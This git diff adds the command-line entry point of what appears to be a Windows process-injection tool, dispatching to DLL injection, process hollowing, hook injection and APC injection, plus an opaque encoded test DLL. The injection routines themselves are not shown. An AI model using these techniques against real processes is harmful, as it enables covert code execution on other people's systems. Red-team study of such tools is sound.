a/InjectProc/InjectProc/main.cpp b/InjectProc/InjectProc/main.cpp new file mode 100644 index 0000000..c0c4abc --- /dev/null +++ b/InjectProc/InjectProc/main.cpp @@ -0,0 +1,41 @@ +#include +#include "Injection.h" +#include +#include +#include + +int main(int argc, char* argv[]) +{ + USES_CONVERSION; + if (argc < 2) + { + std::cout << "Usage: ./InjectProc.exe \n\ + Example:\n\ + ./InjectProc.exe dll_inj path/to/dll.dll notepad.exe\n\ + ./InjectProc.exe proc_rpl path/to/target/exe path/to/exe\n\ + ./InjectProc.exe hook path/to/target/exe path/to//dll\n\ + ./InjectProc.exe APC target/proc/name path/to/dll\n\ + "; + return EXIT_FAILURE; + } + + string mode = argv[1]; + if (mode == "dll_inj") + Dll_Injection(A2T(argv[2]), A2T(argv[3])); + else if (mode == "proc_rpl") + ProcessReplacement(A2T(argv[2]), A2T(argv[3])); + else if (mode == "hook") + // Windows hooks can be considered one of the most powerful features of Windows. + // With them, you can trap events that will occur, either in your own process or in other processes. + // By "hooking", you tell Windows about a function, filter function also called hook procedure, + // that will be called everytime an event you're interested in occurs. + HookInjection(A2T(argv[2]), A2T(argv[3])); // Inject DLL into remote process + else if (mode == "APC") + APCinjection(A2T(argv[2]), A2T(argv[3])); + else { + std::cout << "Incorrect mode\n"; + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} \ No newline at end of file diff --git a/InjectProc/InjectProc/test_files/mbox.dll b/InjectProc/InjectProc/test_files/mbox.dll new file mode 100644 index 0000000000000000000000000000000000000000..5f37e5d6638515680fb14dbbaf13037ef2249a0e GIT binary patch literal 10240 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

{m4h&W^jVASU|$JN$a8ySl2ns=B(T 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 